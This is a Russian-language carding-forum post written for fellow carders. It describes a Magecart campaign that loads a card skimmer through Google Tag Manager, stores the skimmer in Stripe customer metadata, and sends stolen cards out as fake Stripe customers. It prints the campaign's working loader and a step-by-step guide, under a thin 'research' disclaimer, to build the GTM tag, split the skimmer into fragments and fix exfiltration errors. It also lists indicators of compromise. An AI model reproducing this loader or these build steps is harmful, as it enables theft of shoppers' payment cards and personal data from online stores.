Скимминг через Google Tag Manager и Stripe: Magecart нового поколения

Good Carder

Professional
Messages
1,014
Reaction score
691
Points
113
От кардера — кардерам. Ты можешь иметь идеальный антидетект, чистый прокси и свежие non‑3DS карты. Но если ты вбиваешь на сайт, который уже скомпрометирован Magecart-скиммером, твоя карта уходит кардеру раньше, чем ты успеваешь нажать «Оплатить». Это не теория — это крупнейшая эволюция скимминга за последние годы. Ты не используешь скиммер — ты используешь тот факт, что сайт уже заражён.

В этой статье я разберу, как современные Magecart-кардеры используют Google Tag Manager и Stripe для создания практически невидимой инфраструктуры кражи карт. Ты узнаешь техническую архитектуру атаки, почему традиционные методы обнаружения против неё бессильны, как Stripe превращается в полноценный malware-командный сервер, и получишь пошаговую инструкцию по внедрению скиммера через GTM — для исследовательских целей.


Часть 1. Почему Magecart нового поколения — это game changer​

В 2026 году исследователи Sansec обнаружили Magecart-кампанию, которая кардинально изменила правила игры в веб-скимминге. Вместо того чтобы использовать подозрительные домены или очевидную attacker-controlled инфраструктуру, кардеры используют легитимные сервисы, которым доверяют практически все онлайн-магазины.

Ключевое преимущество этой атаки: скиммер никогда не загружается с домена, контролируемого атакующим. Загрузчик, полезная нагрузка и украденные карты — всё проходит через два домена, которые магазины доверяют по умолчанию: googletagmanager.com и api.stripe.com.

Статистика 2026: Эта кампания активна как минимум с декабря 2025 года, что подтверждает её устойчивость и масштаб. В отличие от классических скиммеров, которые используют подозрительные домены и быстро блокируются, эта атака остаётся незамеченной месяцами.

1.1. Почему традиционные методы защиты бессильны​

Content Security Policy (CSP) и сетевые фильтры обычно блокируют трафик на неизвестные скиммер-домены. Но в этой атаке весь трафик идёт через api.stripe.com — домен, который магазины разрешают по умолчанию. CSP не блокирует Stripe, потому что Stripe — это легитимный платёжный процессор.

Что это значит для тебя: ты можешь вбивать карту на идеально защищённый сайт с точки зрения CSP, но если на сайте есть GTM-контейнер со скиммером, твоя карта уходит кардеру до того, как платёжный шлюз её обработает.

Часть 2. Архитектура атаки: три этапа кражи​

Атака разделена на три чётко разделённых этапа, каждый из которых использует легитимные облачные сервисы.

2.1. Этап 1: Доставка кода через GTM​

Всё начинается с легитимного Google Tag Manager контейнера, который внедряется на сайт. Кардер создаёт кастомный тег в GTM, который выглядит как обычный аналитический скрипт, но на самом деле загружает скиммер.

Реальный GTM контейнер GTM-P6KZMF63 был идентифицирован исследователями как часть этой кампании. Этот контейнер срабатывает на каждой странице, но активирует скиммер только при обнаружении checkout-страницы.

Техническая деталь: загрузчик проверяет URL на наличие слова "checkout" перед активацией скиммера. Это минимизирует риск обнаружения, так как скиммер не активен на обычных страницах.

2.2. Этап 2: Загрузка скиммера из Stripe metadata​

Когда загрузчик обнаруживает checkout-страницу, он отправляет запрос к Stripe API для получения определённого customer-объекта: cus_TfFjAAZQNOYENR.

Как это работает технически:
JavaScript:
// Загрузчик на checkout-странице
if (location.href.indexOf("checkout") !== -1) {
    setTimeout(function () {
        getMetaString().then(function (code) {
            if (code) new Function(code)(); // исполняет скиммер
        });
    }, 2000);
}

// Функция получения скиммера из Stripe metadata
function getMetaString() {
    return fetch("https://api.stripe.com/v1/customers/cus_TfFjAAZQNOYENR", {
        headers: { Authorization: "Bearer sk_test_51Shuxz4fAPbvfTkr[...]" }
    })
    .then(function (r) { return r.json(); })
    .then(function (r) {
        return Object.keys(r.metadata).map(function (k) {
            return r.metadata[k];
        }).join("");
    });
}

Скиммер слишком длинный для одного поля metadata, поэтому кардер разбивает его на фрагменты, хранящиеся в полях meta0, meta1, meta2 и так далее. Загрузчик собирает их и выполняет через new Function() — это полноценный удалённый код (RCE).

Ключевое преимущество для кардера: редактируя Stripe metadata, он может обновлять скиммер в любой момент, не трогая GTM-тег или заражённый магазин.

2.3. Этап 3: Сбор и эксфильтрация данных​

После загрузки скиммер подключается к кнопке оформления заказа. Когда покупатель нажимает «Оплатить», скиммер перехватывает:
  • Номер карты
  • Срок действия
  • CVV-код
  • Имя держателя
  • Адрес биллинга
  • Email и телефон

Техника скрытности:
  1. Данные XOR-шифруются и временно сохраняются в localStorage.
  2. Отдельный таймер запускается через 1 секунду после загрузки страницы, а затем каждые 60 секунд.
  3. Таймер проверяет localStorage, разбивает данные на две части и создаёт новый Stripe customer-объект, записывая украденные данные в его metadata.
  4. После успешной загрузки локальные данные удаляются.

Итог: каждая украденная карта становится фейковым customer-объектом в Stripe-аккаунте кардера. Кардер может получить все украденные карты, просто запросив список customers в своём Stripe-аккаунте.

Часть 3. Вариант с Google Firestore​

Исследователи также обнаружили вариант этой атаки, использующий Google Firestore вместо Stripe.

Как это работает:
  • Полезная нагрузка хранится в Firestore-документе с именем tracking/captcha.
  • Проект называется braintree-payment-app — название выбрано, чтобы маскироваться под легитимный платёжный трафик.
  • Украденные данные сохраняются в localStorage под ключом d_data_customer.
  • Принцип эксфильтрации тот же, но через Firestore вместо Stripe.

Этот вариант показывает, чтокардеры диверсифицируют свою инфраструктуру, используя несколько облачных сервисов для разных этапов атаки.

Часть 4. Пошаговая инструкция по внедрению скиммера через GTM (для исследовательских целей)​

Этот раздел предназначен для исследователей безопасности и пентестеров, проводящих санкционированные тесты. Использование этих знаний для атак на реальные сайты является уголовным преступлением.

4.1. Подготовка инфраструктуры​

Шаг 1. Создание Stripe-аккаунта
  1. Зарегистрируй тестовый Stripe-аккаунт.
  2. Получи тестовый API-ключ (sk_test_...). Для исследовательских целей используй только тестовые ключи.
  3. Создай customer-объект в тестовом режиме. Запомни его ID.

Шаг 2. Подготовка скиммера
Разбей свой скиммер-код на фрагменты, которые поместятся в Stripe metadata поля (максимум 500 символов на поле):
JavaScript:
// Пример фрагментации скиммера
const skimmerChunks = {
    meta0: "var a0_0xa01889=...",
    meta1: "function captureCard() {...}",
    meta2: "function exfiltrate() {...}"
};

Обнови customer-объект, записав фрагменты в metadata поля meta0, meta1, meta2 и так далее.

Шаг 3. Создание GTM-контейнера
  1. Создай аккаунт в Google Tag Manager.
  2. Создай новый контейнер для тестового сайта.
  3. Добавь кастомный HTML-тег со следующим кодом:
JavaScript:
<script>
(function() {
    // Проверка, что мы на checkout-странице
    if (window.location.href.indexOf('checkout') === -1) return;
    
    // Задержка для имитации легитимного поведения
    setTimeout(function() {
        // Загрузка скиммера из Stripe metadata
        fetch('https://api.stripe.com/v1/customers/YOUR_TEST_CUSTOMER_ID', {
            headers: {
                'Authorization': 'Bearer sk_test_YOUR_TEST_KEY'
            }
        })
        .then(function(response) { return response.json(); })
        .then(function(data) {
            // Сборка кода из metadata полей
            var code = '';
            for (var key in data.metadata) {
                if (key.indexOf('meta') === 0) {
                    code += data.metadata[key];
                }
            }
            if (code) {
                // Исполнение скиммера
                new Function(code)();
            }
        });
    }, 2000);
})();
</script>

4.2. Тестирование в изолированной среде​

Шаг 4. Настройка тестового сайта
  1. Разверни локальный или изолированный тестовый сайт (например, на localhost).
  2. Интегрируй Stripe Elements для тестовых платежей.
  3. Установи GTM-код на тестовый сайт.

Шаг 5. Проверка работы
  1. Перейди на checkout-страницу тестового сайта.
  2. Открой консоль разработчика (F12) и вкладку Network.
  3. Проверь, что загрузчик отправляет запрос к Stripe API.
  4. Проверь, что скиммер исполняется.
  5. Проверь, что тестовые данные карт (используй Stripe test cards) перехватываются и сохраняются.

4.3. Распространённые ошибки и их исправление​

Ошибка 1. Использование живых API-ключей вместо тестовых
Симптом: Аккаунт Stripe блокируется, транзакции отклоняются.
Исправление: Всегда используй тестовые ключи (sk_test_...) для исследовательских целей. Никогда не используй живые ключи (sk_live_...) без письменного разрешения владельца.

Ошибка 2. Скиммер не загружается из-за CORS
Симптом: В консоли ошибка CORS policy: No 'Access-Control-Allow-Origin'.
Исправление: Stripe API поддерживает CORS по умолчанию для клиентских запросов. Если ошибка возникает, проверь правильность API-ключа и customer ID.

Ошибка 3. Metadata поля не сохраняются
Симптом: Customer-объект обновляется, но поля metadata пустые.
Исправление: В Stripe metadata поля могут хранить только строки. Убедись, что ты передаёшь строковые значения. Используй Stripe Dashboard для проверки сохранённых данных.

Ошибка 4. GTM-тег не срабатывает на checkout-странице
Симптом: Скиммер не загружается, хотя GTM-код установлен.
Исправление: Проверь, что GTM-контейнер опубликован (не в режиме черновика). Проверь, что условие window.location.href.indexOf('checkout') !== -1 корректно определяет checkout-страницу.

Ошибка 5. Скиммер исполняется, но данные не сохраняются
Симптом: Скиммер перехватывает данные, но они не появляются в Stripe customer-объектах.
Исправление: Проверь, что функция эксфильтрации правильно формирует запрос к Stripe API. Убедись, что используешь правильный API-ключ для создания customer-объектов.

Часть 5. Почему эта атака меняет правила игры для кардера​

5.1. Для атакующего: инфраструктура нулевой стоимости​

Stripe и GTM — это бесплатные сервисы для базового использования. Кардер может создать Stripe-аккаунт с минимальными данными (часто используя тестовые шаблоны Stripe, как в этой кампании — customer-объект создан 24 декабря 2025 года с использованием стандартного шаблона Stripe) и начать атаку без каких-либо затрат на инфраструктуру.

Атакующий не владеет ни одним сервером. Вся инфраструктура — это бесплатные облачные сервисы.

5.2. Для кардера: риск вбива на скомпрометированные сайты​

Если ты вбиваешь карту на сайт, заражённый таким скиммером, твоя карта уходит кардеру в реальном времени. Ты даже не увидишь отказа — платёж может пройти, но карта уже скомпрометирована.

Как защитить себя (как кардера):
  • Не используй для вбива магазины на Magento/Adobe Commerce без предварительной проверки.
  • Используй одноразовые VCC для тестовых покупок.
  • Если сайт использует GTM, это не означает, что он заражён, но это дополнительный фактор риска.

Часть 6. Технические индикаторы компрометации (IoC)​

6.1. GTM-контейнеры, связанные с кампанией​

ИдентификаторОписание
GTM-P6KZMF63Основной GTM-контейнер, использованный в атаке
GTM-WJ6S9J6Другой идентифицированный вредоносный контейнер

6.2. Stripe customer ID​

ИдентификаторОписание
cus_TfFjAAZQNOYENRCustomer-объект, содержащий скиммер в metadata

6.3. Firestore-идентификаторы​

ИдентификаторОписание
tracking/captchaFirestore-документ с полезной нагрузкой
braintree-payment-appFirestore-проект

Резюме​

Magecart нового поколения — это не просто скиммер. Это полноценная платформа кражи данных, построенная на легитимных облачных сервисах. GTM доставляет загрузчик, Stripe хранит скиммер и украденные карты. Вся инфраструктура не требует от кардера ни серверов, ни подозрительных доменов.

Три главных вывода для кардера:
  1. Традиционная защита бессильна против этой атаки. CSP и сетевые фильтры пропускают трафик к api.stripe.com и googletagmanager.com, потому что эти домены доверяются по умолчанию.
  2. Stripe превратился в бесплатную криминальную инфраструктуру. Кардер может создавать аккаунты, хранить скиммер в metadata и эксфильтрировать украденные карты как фейковые customer-объекты.
  3. Эта атака активна как минимум с декабря 2025 года и продолжает эволюционировать, включая варианты с Google Firestore.

В 2026–2027 годах успешный кардер — это не тот, у кого лучший скиммер, а тот, кто лучше маскируется под легитимный трафик. Magecart нового поколения использует доверие, которое магазины оказывают Stripe и Google. Они не взламывают сайт — они используют сайт, который уже использует эти сервисы.

Быстрая памятка на одну строку:
«GTM доставляет загрузчик, Stripe хранит скиммер в metadata, таймер забирает карты из localStorage и создаёт фейковых customers. Ни одного подозрительного домена. Ни одного сервера. Только бесплатные облачные сервисы, которые доверяют по умолчанию. CSP не блокирует Stripe. Традиционные сканеры не видят код в Stripe metadata. Magecart 2.0 — это не просто скимминг, это инфраструктура нулевой стоимости».
 
Top